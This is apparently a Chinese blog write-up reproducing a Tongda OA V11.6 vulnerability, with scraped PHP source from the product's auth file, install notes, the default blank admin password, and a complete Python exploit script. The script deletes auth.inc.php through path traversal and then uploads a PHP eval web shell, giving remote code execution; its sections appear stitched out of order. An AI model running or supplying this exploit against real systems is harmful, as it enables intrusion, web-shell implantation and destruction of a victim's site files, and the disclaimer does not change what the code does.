
   
    
     
      
     
     
      
       <?php
      
     
    
     
      
     
     
       
      
     
    
     
      
     
     
      
       include_once 
       'inc/session.php';
      
     
    
     
      
     
     
      
       $PHPSESSID = 
       isset($_GET[
       'PHPSESSID']) ? $_GET[
       'PHPSESSID'] : (
       isset($_POST[
       'PHPSESSID']) ? $_POST[
       'PHPSESSID'] : 
       '');
      
     
    
     
      
     
     
      
       if (preg_match(
       '/^[a-z0-9]{20,32}$/i', $PHPSESSID)) {
      
     
    
     
      
     
     
      
           session_id($PHPSESSID);
      
     
    
     
      
     
     
      
       }
      
     
    
     
      
     
     
      
       if (stristr($PHP_SELF, 
       'export') || stristr($PHP_SELF, 
       'excel') || stristr($PHP_SELF, 
       'word') || stristr($PHP_SELF, 
       'attach.php') || stristr($PHP_SELF, 
       'download.php') || stristr($PHP_SELF, 
       'down.php')) {
      
     
    
     
      
     
     
      
           session_cache_limiter(
       'private, must-revalidate');
      
     
    
     
      
     
     
      
       }
      
     
    
     
      
     
     
      
       session_start();
      
     
    
     
      
     
     
      
       ob_start();
      
     
    
     
      
     
     
      
       include_once 
       'inc/utility.php';
      
     
    
     
      
     
     
      
       $SCRIPT_NAME = $_SERVER[
       'SCRIPT_NAME'];
      
     
    
     
      
     
     
      
       if (
       0 < MYOA_OFFLINE_TIME_MIN) {
      
     
    
     
      
     
     
      
           $LAST_OPERATION_TIME = $_COOKIE[
       'LAST_OPERATION_TIME'];
      
     
    
     
      
     
     
          
       if (!stristr($SCRIPT_NAME, 
       '/general/ipanel/') && !stristr($SCRIPT_NAME, 
       '/general/task_center/') && !stristr($SCRIPT_NAME, 
       '/general/mytable/') && !stristr($SCRIPT_NAME, 
       '/general/status_bar/') && !stristr($SCRIPT_NAME, 
       '/general/topbar.php') && !stristr($SCRIPT_NAME, 
       '/inc/')) {
      
     
    
     
      
     
     
      
               setcookie(
       'LAST_OPERATION_TIME', time(), 
       0, 
       '/');
      
     
    
     
      
     
     
      
           }
      
     
    
     
      
     
     
          
       if ($LAST_OPERATION_TIME != 
       '' && MYOA_OFFLINE_TIME_MIN * 
       60 < time() - $LAST_OPERATION_TIME) {
      
     
    
     
      
     
     
      
               $sessionid = session_id();
      
     
    
     
      
     
     
      
               del_my_online_status($sessionid);
      
     
    
     
      
     
     
      
               clear_online_status();
      
     
    
     
      
     
     
      
               setcookie(
       'LAST_OPERATION_TIME', 
       '', 
       1, 
       '/');
      
     
    
     
      
     
     
      
               session_unset();
      
     
    
     
      
     
     
      
               session_destroy();
      
     
    
     
      
     
     
      
           }
      
     
    
     
      
     
     
      
       }
      
     
    
     
      
     
     
      
       if (!
       isset($_SESSION[
       'LOGIN_USER_ID']) || $_SESSION[
       'LOGIN_USER_ID'] == 
       '' || !
       isset($_SESSION[
       'LOGIN_UID']) || $_SESSION[
       'LOGIN_UID'] == 
       '') {
      
     
    
     
      
     
     
      
           sleep(
       1);
      
     
    
     
      
     
     
          
       if (
       isset($_SESSION[
       'SHARE_ID']) && $_SESSION[
       'SHARE_ID'] != 
       '') {
      
     
    
     
      
     
     
      
               $query = 
       'select module,module_id from share where share_id=\'' . $_SESSION[
       'SHARE_ID'] . 
       '\'';
      
     
    
     
      
     
     
      
               $cursor = exequery(TD::conn(), $query);
      
     
    
     
      
     
     
              
       if ($ROW = mysql_fetch_array($cursor)) {
      
     
    
     
      
     
     
      
                   $module = $ROW[
       'module'];
      
     
    
     
      
     
     
      
                   $module_id = $ROW[
       'module_id'];
      
     
    
     
      
     
     
                  
       if (!
       isset($_SESSION[
       'SHARE_ALLOW_URL'][$module]) || 
       isset($_SESSION[
       'SHARE_ALLOW_URL'][$module]) && $_SESSION[
       'SHARE_ALLOW_URL'][$module] != $module_id)

如果结构没有大变动的话，应该都是可以GetShell成功后，将复制的备份文件丢进去。

PS：

该漏洞影响很大，如果被成功利用后会删除OA所需要的php文件来绕过验证，会对网站造成影响，建议渗透测试业务时，千万要让客户做系统备份或数据备份，很容易出事... ...

其实也不必要那么麻烦，我们可以这样，那个OA被删除的文件，比如说我做渗透的时候，自己本地有一个那个文件，getshell后在本地的上传过去给他恢复，这样不就可行？

说干就干，自己提前备份文件后，再次执行EXP 删除auth.inc.php 后GetShell 成功，此时登录网站OA系统的样式已损坏，但只要把我们之前备份的样式auth.inc.php 文件，即可恢复。

请勿用作犯罪使用，网络不是法外之地，请珍惜生命，勿触犯法律... ...

你任何的动作，别人都知晓，人外有人，天外有天，且行且珍惜... ...

0x01 通达OA V11.6 源码下载与安装

通达OA V11.6 下载地址：http://www.kxdw.com/soft/23114.html

步骤1：运行安装包傻瓜式安装

步骤2：运行安装包傻瓜式安装

步骤3：运行安装包傻瓜式安装

步骤4：成功安装

0x02 前言

账号为：admin 密码为：空

先登录看看，密码为空，直接登录，样式是这样的

0x03 复现漏洞

EXP 脚本

EXP：直接打，直接写到网站根目录下，文件名为：_agan.php，菜刀链接密码为：agan


  
   
    
     
    
    
     
      import requests
     
    
   
    
     
    
    
      
     
    
   
    
     
    
    
     
      target=
      "http://192.168.159.137:8080/"
     
    
   
    
     
    
    
     
      payload=
      "<?php eval($_POST['agan']);?>"
     
    
   
    
     
    
    
     
      print(
      "[*]Warning,This exploit code will DELETE auth.inc.php which may damage the OA")
     
    
   
    
     
    
    
     
      input(
      "Press enter to continue")
     
    
   
    
     
    
    
     
      print(
      "[*]Deleting auth.inc.php....")
     
    
   
    
     
    
    
      
     
    
   
    
     
    
    
     
      url=target+
      "/module/appbuilder/assets/print.php?guid=../../../webroot/inc/auth.inc.php"
     
    
   
    
     
    
    
     
      requests.get(url=url)
     
    
   
    
     
    
    
     
      print(
      "[*]Checking if file deleted...")
     
    
   
    
     
    
    
     
      url=target+
      "/inc/auth.inc.php"
     
    
   
    
     
    
    
     
      page=requests.get(url=url).text
     
    
   
    
     
    
    
     
      if 
      'No input file specified.' not in page:
     
    
   
    
     
    
    
         
      print(
      "[-]Failed to deleted auth.inc.php")
     
    
   
    
     
    
    
         
      exit(
      -1)
     
    
   
    
     
    
    
     
      print(
      "[+]Successfully deleted auth.inc.php!")
     
    
   
    
     
    
    
     
      print(
      "[*]Uploading payload...")
     
    
   
    
     
    
    
     
      url=target+
      "/general/data_center/utils/upload.php?action=upload&filetype=nmsl&repkid=/.<>./.<>./.<>./"
     
    
   
    
     
    
    
     
      files = {
      'FILE1': (
      'agan.php', payload)}
     
    
   
    
     
    
    
     
      requests.post(url=url,files=files)
     
    
   
    
     
    
    
     
      url=target+
      "/_agan.php"
     
    
   
    
     
    
    
     
      page=requests.get(url=url).text
     
    
   
    
     
    
    
     
      if 
      'No input file specified.' not in page:
     
    
   
    
     
    
    
         
      print(
      "[+]Filed Uploaded Successfully")
     
    
   
    
     
    
    
         
      print(
      "[+]URL:",url)
     
    
   
    
     
    
    
     
      else:
     
    
   
    
     
    
    
         
      print(
      "[-]Failed to upload file")